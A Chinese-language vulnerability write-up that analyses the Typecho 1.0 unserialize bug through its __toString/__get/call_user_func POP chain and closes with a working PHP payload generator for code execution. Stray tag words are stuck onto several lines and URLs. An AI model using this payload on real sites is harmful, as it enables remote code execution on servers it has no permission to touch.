Typecho-反序列化漏洞學習

Typecho-反序列化漏洞學習

0x00 前言

補丁:
https://github.com/typecho/typecho/commit/e277141c974cd740702c5ce73f7e9f382c18d84e#diff-3b7de2cf163f18aa521c050bb543084fgit

這裏我下了1.0版本:
git clone https://github.com/typecho/typecho.git --branch v1.0-14.10.10-releasegithub

0x01 分析過程

這個漏洞很是有趣。首先是一個可控參數的反序列化表達式。而後構造pop鏈,尋找__destruct方法,然而沒有找到可利用的。可是經過對反序列化後的變量跟蹤發現,有對其看成字符串調用,所以尋找__toString方法。cookie

這個程序一共就只有三個__toString,我本身找的時候只找到一個「相似SQL注入」的點,後來經過利用autoload機制(參考p牛的CSRF到任意代碼執行)將那個類加載進來。後來又經過一頓分析發現,其只是返回一個SELECT語句的字符串,而後我就沒再跟進了,說不定能夠構形成一個反射xss(從反序列化到反射xss???)。app

而後看了一下大佬的blog,大佬在另外一處__toString中找到了一個方法調用:$item[..]->screenName。因爲$item可控,所以這裏可使$item[..]爲一個沒有screenName屬性的對象,當訪問一個對象沒有的屬性時就會尋找它的__get方法!因此大佬這裏就找了一個存在危險操做的__get方法的類。果真我仍是太菜了,滿腦子就只有__destruct和__wakeup。xss

跟進__get以後,通過一系列的調用,調用了同類下的某個filter方法,而後在裏面進行了call_user_func,兩個參數均可控,至此利用鏈分析完畢。typecho

構建poc後發現頁面返回了500錯誤,咱們的phpinfo()並無回顯出來。通過調試發現,由於程序對反序列化以後的內容進行處理時拋出了異常,致使報了錯。咱們能夠將程序提早exit,不通過後面的報錯便可。學習

0x02 調試

首先看一下訪問到漏洞點的前置條件this

這裏會對referer頭作一個校驗,refer中的host值須要與$_SERVER['HTTP_HOST']的值相等。3d

下面看一下漏洞點

這裏須要傳入一個finish參數,而後在230行將cookie中的__typecho_config的值經過base64解碼以後反序列化。
再往下看兩行到232行,這裏將$config['adapter']做爲第一個參數傳入到Typecho_Db()中。$config就是反序列化傳來的對象,所以這個參數也是咱們可控的。咱們跟進一下Typecho_Db()

跟進其構造方法以後發現,這裏將咱們傳來的第一個參數作字符串拼接,若是第一個參數是對象的話,那麼這裏就會調用其__toString()方法。恰好,第一個參數是咱們可控的。

經過尋找__toString方法,找到了一個Typecho_Feed類。

在第二張圖中能夠看到$item['author']->screenName。若是$item['author']是一個不能存在screenName屬性的類的話,那麼這裏就會調用這個類的__get()魔術方法。恰好,這裏的$item是咱們可控的。所以下面就找哪些類沒有screenName屬性,而且__get方法存在危險操做。

最後找到了Typecho_Request類

能夠看到$value是可控的。下面跟進一下_applyFilter方法

能夠看到,這裏有個call_user_func方法,且$filter和$value均可控。至此這條pop鏈基本是構造完了。

但是構造完payload發現頁面響應500,咱們的phpinfo()並無回顯出來。通過調試發現,由於程序對反序列化以後的內容進行處理時拋出了異常,致使報了錯。以下。

能夠看到這裏首先拋出了一個Typecho_Db_Exception異常,跟進。

能夠看到調用了ob_end_clean()清空了緩衝區。接着跟到self::error。

能夠看到,這裏配置了一些報錯變量,並在最後輸出到模板中,而後exit退出了程序。

暫時知道有兩種方法來輸出payload的結果:
1)提早exit程序,讓程序不運行到拋出異常處
2)提早將緩衝區內容打印到頁面上
對於1),這裏有兩種實現方法,第一種是seebug做者的方法,經過使程序運行出錯自動exit,還有一種是直接簡單粗暴地將exit放到咱們的payload中。
對於2),我本想使用ob_end_flush()之類的方法,可是程序在調用時會傳入一個參數,致使ob_end_flush()執行失敗,由於這個方法是不接受參數的,因此對於第2)個方法,目前沒找到出路。

因此這裏我將exit放到payload中,成功提早退出,回顯了phpinfo。

payload以下

<?php

    class Typecho_Feed{
        private $_type;
        private $_items = array();

        public function __construct(){
            $this->_type = "RSS 2.0";
            $this->_items = array(
                array(
                    "title" => "test",
                    "link" => "test",
                    "data" => "20190430",
                    "author" => new Typecho_Request(),
                ),
            );
        }
    }

    class Typecho_Request{
        private $_params = array();
        private $_filter = array();

        public function __construct(){
            $this->_params = array(
                "screenName" => "eval('phpinfo();exit;')",
            );
            $this->_filter = array("assert");
        }
    }

    $a = new Typecho_Feed();

    $c = array(
        "adapter" => $a,
        "prefix" => "test",
    );

    echo base64_encode(serialize($c));

0x03 總結

這個漏洞最精彩的部分就是經過調用__toString再來調用一層__get魔術方法,惋惜本身無法把這些已有的點聯繫起來,仍是多學習吧。

0xFF 參考

https://paper.seebug.org/424/

相關文章
相關標籤/搜索